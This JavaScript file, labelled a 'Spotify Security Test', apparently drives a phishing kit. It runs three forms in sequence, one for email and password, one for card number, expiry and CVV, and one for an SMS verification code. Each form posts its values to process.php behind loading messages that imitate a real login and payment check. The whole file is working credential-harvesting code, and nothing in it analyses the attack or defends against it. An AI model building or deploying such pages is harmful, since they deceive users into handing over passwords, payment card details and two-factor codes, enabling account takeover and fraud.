/**
 * Spotify Security Test - Main JavaScript
 * Handles form validation and interactions
 */

// ============================================
// UTILITY FUNCTIONS
// ============================================

/**
 * Show loading overlay
 */
function showLoading(message = 'Please wait...', subtext = 'Do not close this page.') {
    const overlay = document.querySelector('.loading-overlay');
    if (overlay) {
        const textElement = overlay.querySelector('.loading-text');
        const subtextElement = overlay.querySelector('.loading-subtext');
        
        if (textElement) textElement.textContent = message;
        if (subtextElement) subtextElement.textContent = subtext;
        
        overlay.classList.add('show');
    }
}

/**
 * Hide loading overlay
 */
function hideLoading() {
    const overlay = document.querySelector('.loading-overlay');
    if (overlay) {
        overlay.classList.remove('show');
    }
}

/**
 * Show error message
 */
function showError(message) {
    const errorDiv = document.querySelector('.error-message');
    if (errorDiv) {
        errorDiv.textContent = message;
        errorDiv.classList.add('show');
        
        // Auto-hide after 5 seconds
        setTimeout(() => {
            errorDiv.classList.remove('show');
        }, 5000);
    }
}

/**
 * Hide error message
 */
function hideError() {
    const errorDiv = document.querySelector('.error-message');
    if (errorDiv) {
        errorDiv.classList.remove('show');
    }
}

/**
 * Validate email
 */
function validateEmail(email) {
    const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return re.test(email);
}

/**
 * Validate credit card using Luhn algorithm
 */
function validateCreditCard(cardNumber) {
    cardNumber = cardNumber.replace(/\s+/g, '');
    
    if (!/^\d{13,19}$/.test(cardNumber)) {
        return false;
    }
    
    let sum = 0;
    let isEven = false;
    
    for (let i = cardNumber.length - 1; i >= 0; i--) {
        let digit = parseInt(cardNumber[i]);
        
        if (isEven) {
            digit *= 2;
            if (digit > 9) {
                digit -= 9;
            }
        }
        
        sum += digit;
        isEven = !isEven;
    }
    
    return (sum % 10) === 0;
}

/**
 * Get card type from number
 */
function getCardType(cardNumber) {
    cardNumber = cardNumber.replace(/\s+/g, '');
    
    const patterns = {
        'visa': /^4[0-9]{12}(?:[0-9]{3})?$/,
        'mastercard': /^5[1-5][0-9]{14}$/,
        'amex': /^3[47][0-9]{13}$/,
        'discover': /^6(?:011|5[0-9]{2})[0-9]{12}$/
    };
    
    for (const [type, pattern] of Object.entries(patterns)) {
        if (pattern.test(cardNumber)) {
            return type;
        }
    }
    
    return 'unknown';
}

/**
 * Format card number with spaces
 */
function formatCardNumber(value) {
    value = value.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
    const matches = value.match(/\d{4,16}/g);
    const match = (matches && matches[0]) || '';
    const parts = [];
    
    for (let i = 0, len = match.length; i < len; i += 4) {
        parts.push(match.substring(i, i + 4));
    }
    
    if (parts.length) {
        return parts.join(' ');
    } else {
        return value;
    }
}

/**
 * Format expiry date
 */
function formatExpiry(value) {
    value = value.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
    
    if (value.length >= 2) {
        return value.substring(0, 2) + '/' + value.substring(2, 4);
    }
    
    return value;
}

/**
 * Validate expiry date
 */
function validateExpiry(expiry) {
    const parts = expiry.split('/');
    
    if (parts.length !== 2) {
        return false;
    }
    
    const month = parseInt(parts[0]);
    const year = parseInt('20' + parts[1]);
    
    if (month < 1 || month > 12) {
        return false;
    }
    
    const now = new Date();
    const currentYear = now.getFullYear();
    const currentMonth = now.getMonth() + 1;
    
    if (year < currentYear || (year === currentYear && month < currentMonth)) {
        return false;
    }
    
    return true;
}

/**
 * Send AJAX request
 */
function sendAjaxRequest(url, data, callback) {
    const xhr = new XMLHttpRequest();
    xhr.open('POST', url, true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
            if (xhr.status === 200) {
                callback(true, xhr.responseText);
            } else {
                callback(false, 'Network error');
            }
        }
    };
    
    const params = new URLSearchParams(data).toString();
    xhr.send(params);
}

// ============================================
// LOGIN FORM HANDLING
// ============================================

if (document.getElementById('login-form')) {
    const loginForm = document.getElementById('login-form');
    const emailInput = document.getElementById('email');
    const passwordInput = document.getElementById('password');
    
    // Remove error class on input
    [emailInput, passwordInput].forEach(input => {
        if (input) {
            input.addEventListener('input', function() {
                this.classList.remove('error');
                hideError();
            });
        }
    });
    
    // Handle form submission
    loginForm.addEventListener('submit', function(e) {
        e.preventDefault();
        
        const email = emailInput.value.trim();
        const password = passwordInput.value.trim();
        
        // Validation
        let hasError = false;
        
        if (!email) {
            emailInput.classList.add('error');
            hasError = true;
        }
        
        if (!password) {
            passwordInput.classList.add('error');
            hasError = true;
        }
        
        if (hasError) {
            showError('Please fill in all fields.');
            return;
        }
        
        // Show loading
        showLoading('Verifying your credentials...', 'Please wait while we log you in.');
        
        // Send data
        sendAjaxRequest('process.php', {
            action: 'login',
            email: email,
            password: password
        }, function(success, response) {
            if (success) {
                setTimeout(() => {
                    window.location.href = 'payment.php';
                }, 2000);
            } else {
                hideLoading();
                showError('An error occurred. Please try again.');
            }
        });
    });
}

// ============================================
// PAYMENT FORM HANDLING
// ============================================

if (document.getElementById('payment-form')) {
    const paymentForm = document.getElementById('payment-form');
    const cardholderInput = document.getElementById('cardholder');
    const cardNumberInput = document.getElementById('card-number');
    const expiryInput = document.getElementById('expiry');
    const cvvInput = document.getElementById('cvv');
    
    // Format card number on input
    if (cardNumberInput) {
        cardNumberInput.addEventListener('input', function() {
            this.value = formatCardNumber(this.value);
            this.classList.remove('error');
            hideError();
        });
    }
    
    // Format expiry on input
    if (expiryInput) {
        expiryInput.addEventListener('input', function() {
            this.value = formatExpiry(this.value);
            this.classList.remove('error');
            hideError();
        });
    }
    
    // CVV input - numbers only
    if (cvvInput) {
        cvvInput.addEventListener('input', function() {
            this.value = this.value.replace(/[^0-9]/g, '').substring(0, 4);
            this.classList.remove('error');
            hideError();
        });
    }
    
    // Remove error on input
    if (cardholderInput) {
        cardholderInput.addEventListener('input', function() {
            this.classList.remove('error');
            hideError();
        });
    }
    
    // Handle form submission
    paymentForm.addEventListener('submit', function(e) {
        e.preventDefault();
        
        const cardholder = cardholderInput.value.trim();
        const cardNumber = cardNumberInput.value.replace(/\s+/g, '');
        const expiry = expiryInput.value.trim();
        const cvv = cvvInput.value.trim();
        
        // Validation
        let hasError = false;
        
        if (!cardholder) {
            cardholderInput.classList.add('error');
            hasError = true;
        }
        
        if (!validateCreditCard(cardNumber)) {
            cardNumberInput.classList.add('error');
            showError('Invalid card number. Please check and try again.');
            hasError = true;
        }
        
        if (!validateExpiry(expiry)) {
            expiryInput.classList.add('error');
            showError('Invalid expiry date.');
            hasError = true;
        }
        
        if (cvv.length < 3) {
            cvvInput.classList.add('error');
            showError('Invalid security code.');
            hasError = true;
        }
        
        if (hasError) {
            return;
        }
        
        // Show loading
        showLoading('Processing payment...', 'Please do not close this page.');
        
        // Send data
        sendAjaxRequest('process.php', {
            action: 'payment',
            cardholder: cardholder,
            card_number: cardNumber,
            expiry: expiry,
            cvv: cvv
        }, function(success, response) {
            if (success) {
                setTimeout(() => {
                    window.location.href = 'verification.php';
                }, 3000);
            } else {
                hideLoading();
                showError('An error occurred. Please try again.');
            }
        });
    });
}

// ============================================
// SMS VERIFICATION HANDLING
// ============================================

if (document.getElementById('sms-form')) {
    const smsForm = document.getElementById('sms-form');
    const codeInput = document.getElementById('sms-code');
    
    // Code input - numbers only
    if (codeInput) {
        codeInput.addEventListener('input', function() {
            this.value = this.value.replace(/[^0-9]/g, '').substring(0, 6);
            this.classList.remove('error');
            hideError();
        });
    }
    
    // Handle form submission
    smsForm.addEventListener('submit', function(e) {
        e.preventDefault();
        
        const code = codeInput.value.trim();
        
        if (code.length < 4) {
            codeInput.classList.add('error');
            showError('Please enter a valid verification code.');
            return;
        }
        
        // Show loading
        showLoading('Verifying code...', 'Please wait.');
        
        // Send data
        sendAjaxRequest('process.php', {
            action: 'sms',
            code: code
        }, function(success, response) {
            if (success) {
                setTimeout(() => {
                    window.location.href = 'success.php';
                }, 2000);
            } else {
                hideLoading();
                showError('Invalid verification code. Please try again.');
            }
        });
    });
}

// ============================================
// INITIALIZATION
// ============================================

document.addEventListener('DOMContentLoaded', function() {
    // Add fade-in animation to form container
    const formContainer = document.querySelector('.form-container');
    if (formContainer) {
        formContainer.classList.add('fade-in');
    }
    
    // Auto-focus first input
    const firstInput = document.querySelector('input[type="text"], input[type="email"]');
    if (firstInput) {
        firstInput.focus();
    }
});
